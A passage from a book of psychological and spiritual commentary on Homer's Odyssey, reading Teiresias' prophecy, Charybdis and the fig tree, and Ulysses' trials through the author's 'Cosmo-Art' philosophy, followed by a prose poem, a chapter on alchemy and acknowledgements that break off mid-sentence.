It is incorrect to think that Ulysses has been wandering the Mediterranean for ten years because of Poseidon’s hostility. Poseidon interferes only once and no more than that to try to keep Ulysses from returning home. Thus if Ulysses must face thousands of obstacles and thousands of woes to be able to return to his homeland, this is not because he has a god against him. It is because Ulysses is on a journey of transformation that he must go through so he can reach his destination as a new man, a man who has become an artist of his own life and of the life of the universe, step by step. Also, another problem is not easy to solve. Ulysses descends into Hades, with the help of the Sorceress Circe, and encounters there Teireisias, who predicts for him what the final solution to his conflict with Poseidon must be. And when you will have done away with the suitors in your home, either through deceit or with your sharp bronze sword, after you will leave, taking hold of your well-made oars,
232
until you come to a people who knows not the sea, they don’t eat food flavoured with salt, they’ve never seen ships with minium on their hulls, nor well-made oars that are like a ships’ wings. And I will tell you the sign, you can’t mistake it. When another traveller meets up with you and tells you that you are carrying a fan on your shoulder, at that spot plant your well-made oar in the ground, and offer good sacrifices to sovreign Poseidon - a ram, a bull and a boar – then go home and celebrate hecatombs for the immortal gods who own the vast sky, to each one in order. Your death will come at sea, very gentle, you will die of a happy old age. Around you your people will be blessed. This truth is what I predict for you” (Od. XI, 119-137) When I read these verses I wonder what it is exactly that Teireisias is trying to tell Ulysses. Once the Suitors have been massacred, Ulysses must leave again for another long voyage, this time first by sea and then by land. Only if he goes far inland on an unknown continent can he hope to meet someone who is not familiar with salt and with oars. Maybe the Bedouins in the Sahara are unfamiliar with oars and with salt, or perhaps those that live in the steppes around the Gobi desert in China or in Mongolia have had no contact with either of these things. For people to have no knowledge of oars they must live in a region where there is no sea, but also where there are no rivers or lakes either. Where can such a region be found in the area around Greece? He must make a long voyage like a long pilgrimage during which he is stripped of everything and where he strips himself completely of himself. In this manner, he can acquire a profound understanding of himself and especially of his unconscious hatred towards the phallic mother (and Poseidon with his trident – a phallus that can devastate you if you are struck with it – represents this better than any other possible thing). Only after he has learned everything about his hatred can Ulysses be freed of being alienated from his guilt and alienated from himself. At this point he can decide to completely forgive the phallic mother . It is not possible to decide to forgive unless one completely puts one’s pride aside. Pride is the major cause of all of our problems. One must also put aside the arrogant demand to be an absolute that is recognized by all but that has no need to recognize anyone else, to be able to truly decide to forgive.
233
This is almost always the position of a child who has been traumatized by his or her mother. It is an arduous, almost impossible task to accept that the mother has any sort of right to make mistakes, to not know how to love, to not be perfect, and to not deeply hate her for her shortcomings. When someone wounds us, the only thing that exists is our own pain and our own wound. The pain of anyone else does not exist nor does it have the right to exist. A long voyage inside ourselves is necessary for us to be able to recognize how false this position is, how much it is based on an absolute lie and how much we ourselves further this lie. If we don’t forgive we cannot free ourselves. Hatred is a much stronger bond than love is. If we don’t forgive, we remain prisoners of the past and we continually reproduce it without ever being able to live in the present. Forgiving and asking for forgiveness are both essential if we want to free ourselves and become peaceful inside. Only after we have done so can we hope to live a “serene old age”. Offer up “good sacrifices” to Poseidon, Teireisias tells Ulysses. Not an animal sacrifice, but a sacrifice of your wounded pride, of the demand to be an absolute that owes no one anything and that must always receive compensation for damages from everyone around, forever. The sacrifice of the demand that the mother must be perfect and must not be phallic or an assassin and, if she is not perfect, she cannot ever be forgiven. Ulysses must understand all of this and so do we, because there is no one whose mother has not in some way controlled, wounded, seduced and threatened them with death, from intrauterine life onward. At the same time, we must understand that there is no one who doesn’t love to be seduced, controlled, devoured and used by the mother for her own needs, out of fear of losing their mother’s love. Without our mother’s love we go into the darkness and we die. We prefer to become slaves rather than die. After having offered these good sacrifices to Poseidon, he can return home and there celebrate hecatombs for the immortal gods who own the vast sky, to each one in order (Od. XI, 132-133) This is quite shocking; the problem that Ulysses must solve does not concern just Poseidon, but all the immortal gods. It’s as if hatred towards the devouring mother does not have to do with just Poseidon, but with all the divinities that “ own the vast sky”. Hatred is something that breaks apart our inner balance and unsettles us.
234
It affects all of our inner life as well as the external world that we live within. If we can recognize our most hidden hatred and decide to free ourselves of it, our inner world can be pacified and so can the whole universe. Ulysses, and us along with him, must understand yet another very important thing. What is the passage from barbarianism to civilization? Barbarianism is always present within each of us, but we each are called to make our own contribution to the evolution of humanity by transforming our own barbarianism into civility. The important key in this passage is that barbarianism and chaos belong to humanity’s primitive history and they also are an essential part of every step humanity takes forward, not just of the beginning. Because beyond being barbarians, human beings are also capable of transcending themselves and recreating themselves. These abilities are at the basis of humanity’s evolutionary and transformative process that takes place over thousands of years. That the devouring mother exists is a natural fact, just as earthquakes and hurricanes are natural facts. It wouldn’t make sense if we were to hate the earth because there are earthquakes that can swallow hundreds of thousands of human beings in an instant . That the Cyclops Polyphemus who respects no law exists is a natural fact, just as it is a natural fact that Scylla and Charybdis devour anyone who gets near them. It’s a natural fact that there are Laestrygonians, who are cannibals and who devour the crews from eleven of Ulysses’ ships. It’s a natural fact that there are Sirens that first enchant you with their song and afterwards they turn you into a skeleton, rotting under the heat of the sun. There is no wickedness in these natural facts, just as the larger fish that eat the smaller ones do not act out of wickedness. There is really no wickedness in the phallic mother, and if we end up caught in her devouring jaws this does not make our destructive reactions and our decision to hate her forever legitimate. And yet millions of human beings, wounded by the trauma their mothers have inflicted on them, build their whole lives around a need to get revenge that never, ever ends. The fetal I, in particular, is the one who never forgets the wrongs inflicted on it and it is the one who never can get revenge enough. The fetal I invades the adult and imprisons it in a spiral of infinite hatred. Life becomes an inferno this way.
235
Those who want to get out of this hell must free themselves of their hatred through forgiveness (such as in the wonderful way suggested by Louise Hay) and they must invest all their energies in the transformation of themselves and of the mother. As Circe says, if Ulysses is only full of thoughts of war, he will never be able to transform either himself or anyone else. Cosmo-Art suggests that when we are faced with any type of pain we must create a bridge between the present and the past (the Cosmo-Artistic bridge) and discover how the pain we are experiencing in the present is helping pain from the past emerge. From here we can understand that we still have plenty to face with Poseidon and that we must decide to sacrifice our pride and our hatred, our megalomanic, omnipotent I , as well as our fetal I that wants nothing to do with detaching from the past or with giving up its thousands of types of complicity with the devouring mother. This long inner voyage that must be made by both Ulysses and Penelope is described as follows at the end of book XXIII: And meanwhile wise Odysseus told his woman: “Oh woman, we have not yet reached the end of all our trials yet, I still have many to face, bitter ones, for a long time, that I must carry out. This is what the spirit of Teireisias told me the day I descended into the house of Hades (Od. XXIII, 247-252) What must be faced is an enormous, long, bitter task. It is a “trial” that both Ulysses and Penelope must go through. The term “trial” is found only twice throughout the whole Odyssey, once at the beginning of the poem and once at the end of it. This can help us understand what the best way to read Homer is. If Ulysses and Penelope often complain about the pain that they must suffer, at the end they stop complaining because they understand that they have been put through a long, interminable trial. But why is that? Certainly not because the gods are evil and sadistic, and this is clearly stated in the first verses of the poem. Nor is it because of Ulysses’ and Penelope’s being guilty for something. It is because they have the opportunity to complete a project that the gods, or rather the Cosmic SELF and Life, truly care about: the project to create secondary beauty that is the only thing that can offer immortal life to those who are naturally mortal, like human beings, and also like the Cosmic SELF of this universe to which human beings belong.
236
It is simply impossible to complete this project without thousands of woes and great pain, as it can be completed only once Ulysses and Penelope have been deeply transformed. Here the meaning of pain has nothing to do with expiating one’s guilt, as it was for Aegisthus. It has to do with being able to go through it time and time again if men and women want to truly transform themselves and then learn the art of creating secondary beauty Penelope is very proud to have more than one hundred suitors that want her, and she brings them into her house rather than keep them at a distance. After she has seduced them she deceives them with the shroud that she weaves by day and unravels at night. At the same time she creates the alibi for herself of the faithful wife who does not betray her husband. But the dream of her geese that are killed by an eagle reveals her profound ambiguity and her equally deep attachment to the devouring mother.) Penelope must decide to forgive the phallic, devouring mother and only by doing so can she detach from her. This is the only way she can then think up the archery competition and offer Ulysses, who is still disguised as a beggar, the right to participate in it. Give him immediately the bow, and let’s see. This is what I tell you to do and it will be done: if he can string it he can boast Apollo’s approval, and I will clothe him with cape and tunic, beautiful garments, I’ll give him a sharp javelin to defend himself from dogs and men, and a double-edged sword; and I’ll put sandals on his feet and I’ll have him be taken wherever his heart desires”. (Od. XXI, 336-342) The extraordinary decision to allow Ulysses to participate in the competition as well, despite the contrary wishes of the Suitors, reveals that Penelope is developing a
237
new inner position towards the devouring mother and towards her own ambiguity with respect to wanting to grow up and become a woman. This will give Ulysses the opportunity to begin the massacre of the Suitors that Homer has described as being evil assassins. Louise Hay says that forgiveness does not mean condoning the other’s actions. It is not easy to understand the difference between forgiving and condoning. Evil must be fought against and destroyed but with strength, not with hatred. I wrote earlier that this concept is explained very well in the film “Star Wars”, when the son Lucas finds he has to fight against his father, Darth Vader, who has allowed himself to be seduced and has passed over to the mother’s side. Here Ulysses and Penelope, on one hand must combat and destroy the perverse will of the mother who wants to seduce and castrate as well as take control of a life that does not belong to her, to threaten it with life or death. On the other, they must stop putting their energies into the homicidal hatred they hold towards the mother, who is a prisoner of her own evil but who is not completely negative. It is as though the Odyssey were divided into three parts. One narrates the voyage of Telemachus who is looking for news about his father or, in other words, is looking for the father and the laws that he represents, beyond the maternal laws; the second narrates the transformational voyage that Ulysses undertakes with the help of Zeus, Athena and Hermes as he wanders around the Mediterranean; the third part narrates the preparation and the execution of the massacre of the Suitors, which is what Ulysses wants but which is what, above all, Zeus and Athena want to happen. The search for secondary beauty must include all three of these steps, each of which is absolutely essential. The Personal SELF and the Cosmic SELF guide us and help us to go from one step to the next. Looking for the father means looking for “the laws of life” (see A. M., “Le Leggi della vita” {The Laws of Life} ). Looking for the father means looking for a meaning for the life of human beings as part of a cosmic project (see A. M. The Ulysseans, Published by the Sophia University of Rome (S.U.R.), 2009 “La nascita della cosmoart”{The Birth of Cosmo-Art}, Published by the Sophia University of Rome (S.U.R.), 2000, and Theorems and Axioms of Cosmo-Art, Published by the Sophia University of Rome (S.U.R.), 2009). Transforming oneself means freeing oneself of hybris, freeing oneself of hatred, of arrogant demands, of envy and greed, which are all natural legacies of the human species, and extracting from within oneself the ability to create oneself anew as an artist of life. Artists of life learn to use the trauma and the pain that life dispenses at every step of the way as supreme creative forces behind the creation of a type of beauty that does not yet exist. The purpose of humanity is to introduce this beauty into the universe, instead of becoming victims of their trauma and pain.
238
The destruction of the Suitors symbolizes the destruction of evil within us, the destruction of the homicidal and suicidal urges with which we would like to dominate both our own lives and the lives of others. Evil is always present within us and it is always a lot bigger than that which is outside of us. We will never be able to completely conquer the evil outside ourselves, if we don’t first eliminate that which is within us.
*****
239
CHAPTER XLV
CHARYBDIS AND THE FIG AS THE WORLD’S AXIS … All night I was dragged along, and as the sun rose I reached Scylla’s Cliff and the atrocious Charybdis. Noisily it swallowed the sea’s salty water; but I jumped toward the tall fig and there I grabbed on, like a bat, because I could not either plant my feet somewhere, nor could I climb up to the top: the roots were far down and the branches high up, long and thick, shadowing Charybdis. So without losing hold, I stayed there, until it vomited out the mast and keel; I took a deep breath, and finally they came out again; at the time when those who judge many litigations finally goes home to dinner (Od. XII, 429-440). Circe is the first to speak of the fig tree when she instructs Ulysses on how to face the perils that still await him. Odysseus, you’ll see the other cliff lower down, one next to the other, from one you can shoot your arrow to the other. And on that one there is a great fig, thick with leaves: below it glorious Charybdis drinks up the angry waters. Three times a day it vomits it up and three more it drinks it again in a terrible way. Ah, that you may not be there when it drinks! Not even the Enosichthon could save you from ruin. Keep your ship instead near the cliff of Scylla sailing quickly get your ship past, because it is much better to cry for six men aboard than for everyone”. (Od. XII, 101-110) Concerning the fig tree, I would like to share these words that in some way allow for a comparison between the wisdom of Ulysses and the wisdom of Buddha. “It is said that Buddha sat in contemplation under a large tree, the Bodhi tree (that means illumination in Sanskrit) and that is where he reached the highest stage of Samadhi, in which the mind is Awakened and Enlightened. In reality, Buddha sat under a fig tree, the tree of history, the oldest tree in the world. The fig is undoubtedly an image that alludes to the cosmic tree: it is hollow inside and its roots and branches
240
reach out in all directions. It is a tree that symbolizes the axis of the world, the central and most basic point in all creation. So Buddha understood that the absolute and the relative go hand in hand, that with death everything returns to again become part of emptiness, an intelligent emptiness, an emptiness that is aware and is capable of maintaining consciousness intact”. (Quote taken from the Travel Diary of A. Carella’s school of Yoga, from the lesson of February 16th, 2005). I want to look at some of these statements: “the fig is an image that alludes to the cosmic tree”, “a tree that symbolizes the axis of the world, the central and most basic point in all creation”, “the central and most basic point”. Buddha reaches the highest level of enlightenment under the fig tree and enlightenment for Buddha is salvation from the illusion caused by the veil of Maya. It is as if Maya, and the illusion it generates, were the greatest devouring mother possible, a cosmic undertow that brings humanity pain and ignorance. While I am highlighting the correspondence between the fig mentioned by Homer and the fig that Buddha talks about, I would also like to point out the profound difference between Homer’s and Buddha’s cosmic visions. Buddha does not tell us why the cosmos exists, whether or not it is shrouded in the illusion of Maya; nor does he tells us why human beings exist and what the purpose of their presence in the cosmos is. Homer instead affirms, and Cosmo-Art along with him, that Ulysses exists and suffers so he can create the immortal beauty that becomes possible when there is concordance between an I and a You, as well as concordance between the I and the Personal SELF and the Cosmic SELF. This concordance is the result of thousands of trials and thousands of transformations. The project of creating this type of beauty is embraced not only by Ulysses, but also by the whole Cosmos. We understand this by how Zeus and Athena pay so much attention to Ulysses’ voyage and how they follow him so carefully, every step of the way. Why do they do this? Menelaus also ends up wandering throughout the Mediterranean, but he does not have Zeus and Athena beside him like Ulysses does. Ulysses is assigned a special goal. The goal entrusted to Ulysses is a Cosmic one, and the existence of the Cosmos is a product of Life. Life is eternal but not immortal. To be able to become both eternal and immortal it needs secondary beauty , the only type of beauty that is immortal and that makes anyone who creates it immortal as well.
241
(see A.M. Theorems and Axioms of Cosmo-Art, Published by Sophia University of Rome, (S.U.R.), 2009). If it were not a goal that the Cosmos wants to reach together with the artistic, creative human forces of Ulysses and Penelope, the constant presence of the gods beside Ulysses would make no sense. Nor would Ulysses’ life make any sense, his long journey and his thousands of woes. Buddha wants to eliminate pain, while Homer says that only with pain and art can the highest form of beauty and the highest form of wisdom be created. This beauty and wisdom is what both humans and the whole Cosmos need to create immortal life, a type of immortal beauty that can travel forever, even when the person who created it is no longer alive. The human body may disappear when it dies and the physical body of the Universe may die in a Big Crunch, but the living beauty that has been created before every physical form disappears will never disappear once it has been created. Secondary beauty becomes an eternal, immortal living being; it becomes a very special type of energy field that never dissipates, as instead the stars and the universe that contains them do. If Ulysses can save his physical form with the help of a fig tree, this is so he can continue to journey and complete his own transformation and then become a role model that others can follow. If the fig tree is the “central and most basic point in all creation” and it is the world’s axis, this is the axis where all the human and divine energies converge so Ulysses can use them and create immortal beauty, secondary beauty. This axis of the world must necessarily have something to do with the Cosmic SELF, the term with which I indicate the supreme intelligence that governs the particular living organism that is our own universe. The ability to establish a profound communication between the I Person, the profound intelligence that governs the living organism that is our body, and the Cosmic SELF, is a task that can take a lifetime to accomplish. In Western culture little is mentioned about the connection that must be made between the I Person and the Cosmic SELF. In the Hindu culture this connection is considered to be very important and the opening of the Chakras has this specific purpose. In the Aboriginal culture in Australia, this connection was considered paramount in guiding the life of the individual and of the group. Marlo Morgan speaks extensively of this in her important book “Mutant Message Down Under”, which was a bestseller for many years.
242
Homer most certainly speaks of this beginning in the very first verses of the Odyssey, when he mentions the wise council that Zeus sends to mortals. He also speaks of it every time that Athena goes to Zeus to ask him to intervene in Ulysses’ favor. Athena, who represents the inner wisdom found in the Personal SELF, is not completely autonomous. She must operate together with Zeus’ will. Here we can also say that Homer speaks of this when Ulysses is about to be sucked in by Charybdis. Scylla is a monster that was created by mythological fantasy connected to a real experience, whereas Charybdis is a reality, just as the swirling currents that even today are created at the very tip of the Strait of Messina are a reality. Even in modern times those ships that do not pay attention to them can end up running aground on the shores of Sicily, and I can still well remember seeing, when I was a child, a transatlantic that had run aground and could not get free. Ulysses that grabs on the fig tree seems to talk about Ulysses who is centering himself on the Cosmic SELF , so he can defend himself from being pulled under by the great devouring mother that is the atrocious reality of this world. I wonder, how could there have been a tall fig tree that Ulysses could have grabbed on to, since the shores of Sicily off Scylla are low and flat? I am more convinced by the idea that Homer uses the fig tree to speak of how Ulysses centers himself on the Cosmic SELF in the terrible moment that he is about to be swallowed by Charybdis. This idea is so much more convincing when we look at yet another detail in Homer’s story. Ulysses had already passed by Charybdis without any problems, since he had followed Circe’s advice and had steered his ship under the mountain where Scylla was hiding.. This is not a simple coincidence, nor is it a bitter reflection on life, telling us that we can never escape trouble, whether it be small or large. It is, instead, a very important lesson on wisdom but one must know how to read it and not just distractedly gloss over it. We must not let ourselves be sucked down by our pain. The purpose of pain is to create beauty and it is important to learn the art of how to use pain as a cosmic force, and as such as a divine one. But if one allows oneself to be dragged down by pain, it is impossible to become an artist who creates new beauty. To avoid becoming sucked down by pain I use prayer-reflection, that allows me to center myself on the Cosmic SELF. Afterwards I wait, like kids with their cell phones, that it send me a text message, and this almost always happens, either by inner or external means. The fusion between the I and the Cosmic SELF is also an important step in creating secondary beauty, as indicated by Cosmo-Art. (see the Laboratory on the film:
243
“The Legend of Bagger Vance” and the article written by Fatma Pitzalis and Luigi Atella, published in A.M. et al “I Laboratori Corali di Cosmo-art” {The Cosmo-Art Group Laboratories} , published by Sophia University of Rome, Rome, 2006) ***** Below I will share some ideas that describe in more detail the similarities and differences between human beings and the tree from an article I wrote previously:∗ “Just as the tree transforms energy (it transforms light energy into chemical energy), it also synthesizes energy (it makes a synthesis of the energy it takes from the earth with the energy it takes from the sky) and it also creates, condenses and transmits energy (it produces flowers, fruit and seeds as well as oxygen that keeps the ecosystem alive), so can human beings, if they wish to, transform, synthesize, create, condense and transmit energy. Human beings in fact do transform biochemical energy and mechanical energy in relational, individual and cultural energy; they synthesize, within themselves and outside of themselves, all the energies that exist on earth; and produce every sort of handicraft and create every type of works, familial, social, cultural, and in particular those works that we call works of art, that are centers of condensed energy; energy that then is transmitted and radiated endlessly through time and space. But while the tree must only follow the laws of nature, and it doesn’t have to go through any type of internal conflict or suffering to create, this is not so for human beings. Humans are reactive beings at birth and the law of action-reaction and of stimulus-response control them completely. Many remain controlled by these laws for their whole lives, devouring energy and never creating any themselves. There are those, instead, who want to become persons, and they individuate and differentiate themselves from the mass. They manage to break free of the law of actionreaction and to elevate themselves to the spiritual dimension which pertains to those who transcend their reactions and live following values and virtue, with ideals and projects to build upon. The reactive being transforms itself and becomes one who plans and creates.
This paper was written in 1995 for the opening of the I.A.P.E. – Istituto di Antropologia Personalistica Esistenziale {Institute of Existential Personalistic Anthropology} of the Sophia University of Rome and published as an introduction to the book “The Ulysseans”, copyright 2009 Sophia University of Rome .
∗
244
This is the type of human being that can transform and synthesize the energy that exists in nature and that is then capable of creating a type of energy that does not exist in nature. I would like to call this very special energy the soul and I would like to define it as follows: “The soul is a field of energy, both material and non-material at the same time, of freedom, love, truth and beauty, that is created day by day; it condenses and concentrates around a central nucleus, which is the I of an individual or the I of a populace, because this is the goal that an individual or a populace have set for themselves. They are also willing to give their lives for the realization of this goal”.*∗ Works of art become masterpieces because they have a soul. And they have a soul because the artists that created them went through a painful and creative process of materialization and dematerialization. They were capable of giving these works an energy that they did not have before. Every work of art is a field of energy where material forces and spiritual forces combine together to create a type of life that is superior to natural-biological life, because it is a type of life that is no longer subject to the law of death and entropy”… … “We call a Person someone who is capable of loving him or herself, of loving another and of being loved, in freedom. We call someone an Artist of their own life and of the life of the Universe those who are capable of making their own life a work of art and who, together with others, work to transform a group of people who are complete strangers into a single living organism. This living organism is capable of creating truth and beauty, by following the laws of life. Persons who are Artists of their own lives and of the life of the universe can originate a new people: a people who has a soul, a soul made up of the energy of love and the energy of art, who know how to face pain and death and transform them into a source of eternal life”… … “the universe needs this type of beauty so it doesn’t die, and perhaps human beings are necessary to the universe to produce this beauty, because only this type of beauty can give the universe a soul that would make it immortal. If there has been a life and there will be death; if there was a Big Bang and there will be a Big Crunch, what difference does it make? Only one thing is important: that, before the natural course of life and death is completed, the universe has time to create an immortal soul and that it continues to exist, and with it those who have helped to create it, beyond the physical spaces of this universe.
** For a better understanding of this definition of the soul see my interpretation of the film “Scent of Woman” in “La nascita della cosmo-art”, {The Birth of Cosmo-Art} published by the Sophia University of Rome, Rome, 2000, pg. 239 and following pages.
245
Then the universe will not have existed in vain, and all the pain, which fills the lives of human beings, won’t have existed in vain either. And it will be discovered that all the art that has been created up to now had a meaning that was still hidden and now can be revealed: to prepare the way so that human beings one day could become artists of their own lives and artists of the life of the universe” This is what centering one’s life on the axis of the world means. ***** Now I would like to speak about how Charybdis ties into current times. I am convinced that in our present epoch we are on the brink of the death of one civilization, the Western one (see Spengler: “The Decline of the West” and Galimberti: “The Decline of the West” or K. Lorenz: “The Waning of Humaneness”), and of a civilization that is rising from the ruins of the old one. In the Odyssey, the tale of Charybdis is found right after Ulysses’ companions devour the sacred cows and I already spoke of this in chapter XXVIII when I spoke of the greed of Ulysses and his companions. Never before has greed been so prevalent in the whole world: greed for money, greed for power, greed for success, greed for goods, greed for the domination of the stronger over the weaker, and, worst of all, greed for drugs of all types and greed for medications and tranquilizers for every stupid little problem. I remain absolutely stupified when I see children’s rooms full of hundreds of toys and when I see how they stuff themselves with food, with their mothers’ complicity. Charybdis is no longer in the Strait of Messina, it is everywhere, with its voracious mouth ready to swallow everyone. The World Watch Institute says that we are destroying the planet Earth above any tolerable limit and there seems to be no serious change of direction in who is directing and governing this planet. This is everyone’s problem, it is not just a problem of our governments. We are all contributing to bringing to ruin this pseudo-civilization in which we live, not only in the West but also in the East. I do not believe that this catastrophe can be averted but it is a good thing that this civilization die and another one be born. For me this is not a hope but it is a certainty that comes from within. *****
246
CHAPTER XLVI
THERE ONCE WAS A MAN WHO WANTED TO FLY
In a world Where everyone Sooner or later Loses everything There was a man who Desperately wanted to fly From one universe to the next. He knew what Wings he needed: The right wing Was the acceptance to lose Everything that he was In a certain moment Like his SELF told him to; The left wing, Was the acceptance to lose Everything that he had, Every time the Messenger appeared on the horizon. This is what happened when Hermes The winged god Appeared in front of Calypso Who did not want to lose Ulysses, For seven long years she kept him And now she let him go. This is what happened when Ino Came to Ulysses And he didn’t want to lose his raft Because the storm was raging around him Along with the fear of death Off the island of the Phaeacians. And the point wasn’t To lose just to lose Like a gambler loses But to lose to create.
247
The point was The art of losing and the art of losing oneself For the art of creating. Creating universes? No, we already have those. Creating Secondary beauty In a group context The beauty that does not yet exist And that once created Cannot be lost again Just like the universe When it expands Creates space that wasn’t there before And the space created Cannot be lost. And just like you cannot fly From here to there If there is no space Between the departure point And the point of arrival You cannot fly From one universe to the next If you do not know The art of losing Everything you are And everything you have To create secondary beauty. Without this beauty You don’t have space And you can’t stretch out. *** Losing what you can see Causes a lot of pain But the messenger Sometimes asks you to lose even What you cannot see. This requires an even greater pain.
248
You must first make What is invisible visible. For example repressed hatred Or homicidal and suicidal urges. And you resist this You want nothing to do with it And then, when you do know You lie and say you don’t You lie and say it has nothing to do with you You lie and say you don’t know how to lose them. But you can’t fly like this You can’t create beauty like this You can’t lose death like this That is following you. You don’t lose and you don’t create And meanwhile you lose yourself Just like an empty man Loses himself. *** Life is beautiful, you say, Why should I create more beauty? I achieved an upright position Why should I achieve flight? *** The beauty of life Is here today gone tomorrow. Even if it lasts forever Eternity does not last More than an instant. One second there is life One second later Death comes And carries away beauty Any type of beauty That has not faced death And transformed it into life. If you become able to fly First you have conquered pain and death
249
And you went through them And with them you have created A completely new life and beauty That did not exist before And without you Without your pain And without your art They could not have existed. Not ephemeral life Nor ephemeral beauty, primary beauty, But immortal life and immortal beauty That can fly From one universe to another Forever And you with her For the inexhaustible enjoyment Of your heart And of the universe you belong to. *****
Here I could begin describing how Ulysses acts every time he practices the art of losing everything he is and everything he has, but, to leave my readers with the desire to read the Odyssey again and again, I would like to give them this invitation: search for yourselves the various ways Ulysses accepts to lose everything he is and everything he has, during his long wanderings by land and sea. I would also like to propose something else. This book is incomplete because of my lack of energy and I could not add all the other ideas and hypotheses that I had in mind; why don’t you readers make some of your own hypotheses regarding how Ulysses’ actions transform himself and others to create secondary beauty, doing so in a way that they pertain to Cosmo-Art and your own lives? The Odyssey is an inexhaustible mine of treasures to be discovered. I will leave to you the task of searching for them and finding them. There are also the treasures given by the Phaeacians: they are all in the nymphs’ cave and Ulysses and Athena have put them there for us. *****
250
CHAPTER XLVII
ALCHEMY AND COSMO-ART
Ulysses was an alchemist of life who did not use either stills or magical formulas. He only used the facts of life, pain, wisdom and art. What kind of art? The art of creating a fusion between pain and wisdom; the art of creating a synthesis of opposites; the art of losing what one is and what one has to become capable of creating a type of beauty that never dies; the art of fusing the truth with love (which is what Oedipus does not know how to do), freedom with cosmic purpose (we all have a personal purpose and cosmic purpose to fulfill); the art of fusing love, truth, freedom and beauty to be created and that will not be created if we do not do so; the art of transforming pain into a source of creativity instead of in victimhood and vindictive hatred; the art of conquering freedom from the devouring, seductive and castrating mother and from the phallic mother assassin; freedom from the poisons that we carry within ourselves as being part of the human species; the art of conquering the truth by breaking the narcissistic shields we were defending ourselves with (and that we continue to defend ourselves with) from pain, when we were not yet strong enough to be able to face it. Which type of wisdom? The wisdom that comes from the Personal SELF and the wisdom that comes from the Cosmic SELF, from inside ourselves and from outside ourselves with the help of cosmic coincidences that suddenly show up in the lives of human beings. Which type of pain? The pain that comes from life’s traumas and that strike the I from the moment of conception onward. Conscious and unconscious pain that hides in the deepest parts of the human psyche. The pain of giving up hybris and its poisons, that controls us and makes us proud and arrogant, so we can create a fusion with a You and fulfill the purpose of a relationship that can create immortal beauty. The pain of losing an identity that we are familiar with so we can go towards an unknown identity that frightens it but that most certainly is superior to the previous one. This is what Homer teaches and this is what Cosmo-Art proposes. The goal of Ulysses’ alchemy was not to transform lead into gold but to transform his various dark parts into luminous ones. In this manner he could hope to
251
create “glorious concordance” as Homer says, or the “coniunctio oppositorum” {conjunction of opposites} as the alchemists say. A star is born because it creates a fusion of equal atoms (thermonuclear reaction) and thus transforms a black cloud into a bright star. A Cosmo-Art alchemist is able to create a fusion of opposing elements (for example the fetal I and the adult I, the I and the You, the I and the SELF, the I and the Cosmos, the masculine principle and the feminine principle) and from this fusion it’s not a star that emerges, which is mortal, but secondary beauty emerges, which is immortal. The facts of our lives can be completely different from Ulysses’, but the steps to be followed are exactly the same. *****
252
Acknowledgements An immense amount of group work was done within the Sophia University of Rome, which prepared the groundwork so that this book could be written. Many pages of this book were written while I was in continuous dialogue with my wife Paola and my most affectionate thanks go to her first of all. Without her I would never have been able to undertake the project of “glorious concordance” and Secondary Beauty. Her precious help has allowed me to revisit my own internal monsters and look clearly at my five poisons, so I could own them and become responsible for them. The list of people I would like to thank is very long. I am thankful to the members of the Association “Il Sole e la Rosa” {The Sun and the Rose}, Assunta Conato, Bruno Coniglio, Fausto Baccano, Flavia Valentini, Leonello Laviano, Luciana Palleschi, Maria Grazia Nucci and Paola Fattoni, who were the first ones to become enthusiastic about the basic ideas of Cosmo-Art and who, with surprising creativity, shared them with the students at the Istituto di Antropologia Personalistica Esistenziale {Institute of Existential Personalistic Anthropology} in Rome. I also want to thank: Luigi Atella, Bruno Bonvecchi, Paola Capriani, Domenico Carbone, Vito Chialastri, Ombretta Ciapini, Fatma Pitzalis, Toto Saporito, Francesco Sollai and Lucia Torresi who, as members of the Cosmo-Art Group directed by myself and my wife Paola, have facilitated the Group Cosmo-Art Laboratories and have made the connection between Cosmo-Art and daily life as well as publishing a book: “I Laboratori Corali di Cosmo-Art” {The Group Cosmo-Art Laboratories} which contains the Cosmo-artistic interpretations of films written by myself and by them. I thank the Directors, the teams and students within the Centers and Institutes that belong to the Sophia University of Rome who are enthusiastically taking turns in presenting the Theorems and the Axioms of Cosmo-Art to the people within the Sophia University of Rome. To my great joy, many are coming to the two annual Laboratories of Cosmo-artistic Anthropology. The first Laboratory was facilitated by Giancarlo Ceccarelli and Graziella Lopez , Directors of the Centro Eunomos, and their students, in May, 2004. I thank all of them from my heart. A very hearty thanks goes out to Antonella Berardini and Filippo Capano, Directors of the Centro per lo Sviluppo della Persona in Taranto, to their staff and their students, who have very courageously faced their immense pain after their founder, Giuseppe Coschignano, died. He was very dear to my heart and to that of many others, and the directors, staff and students of the Center founded by him have never lost their drive and managed to keep the Institute alive. In 2006 they gave us a splendid Cosmo-Art Laboratory on the IV Theorem.
253
I want to thank Silvana Pera that created the CORUS Association, in which she focuses on couples, on group work and on Cosmo-art. She has already published a book entitled “Diario di Bordo di un gruppo in cammino verso la bellezza seconda con l’aiuto delle Regole della navigazione notturna degli Ulissidi” { Diary of a group journeying towards secondary beauty with the help of the Ulysseans’ Rules of Nocturnal Navigation”}. I also want to thank Luigi Atella and Fatma Pitzalis, Directors of the Istituto di Antropologia Personalistica Esistenziale {Institute of Existential Personalistic Anthropology} in Tempio Pausania, Italy, and their students as well, who masterfully organized the Seconde Ulissiadi della S.U.R. {Second Ulyssean Conference of the Sophia University of Rome}. They were held in Sardinia in July, 2005, where they were a great success, and my book “Il mito di Ulisse e la bellezza seconda” {The myth of Ulysses and Secondary Beauty} was presented as well, receiving a warm welcome. I thank again the staff of the Istituto di Antropologia Esistenziale {The Institute of Existential Anthropology} and its tireless Director, Gabriella Sorgi, who has presented Sophia-Analysis, Sophia-Art and Cosmo-Art, through the fascinating method of Sophiartistic theater-dance, at the international congresses of the World Council of Psychotherapy in Vienna and Moscow. I also thank them for having created training seminars for Russian therapists and for those from the Baltic countries in their Institute. I also want to recall the Third International Congress of the City of Ascoli Piceno, Italy, organized by their Institute on the theme “Penelope: la trasformazione della vendetta” { Penelope: the transformation of revenge}, which received quite extensive press coverage. I owe a special thanks to Ombretta Ciapini, with whom I was able to present at the 1999 Congress of the EAP, European Association for Psychotherapy the paper entitled “From the Myth of Oedipus to the Myth of Ulysses”, in which I encourage passing from only the search for knowledge (Oedipus) to the search for knowledge to create beauty (Ulysses). I also thank her for the great satisfaction she gave me by getting this article printed in English in the book “Mythos – Traum –Wirklichkeit”, published in 2002 by A. Pritz, President of the W.C.P., World Congress of Psychotherapy, where the best papers from the 1999 Vienna congress were collected. I also thank Martha Bache-Wiig, Director of the Center for the Development of the Person in Waukesha, Wisconsin, USA, who translated that article and many others, as well as this and many other of my books. I would like to thank Victor Makarov, President of the PPL in Moscow, who published my book on Existential 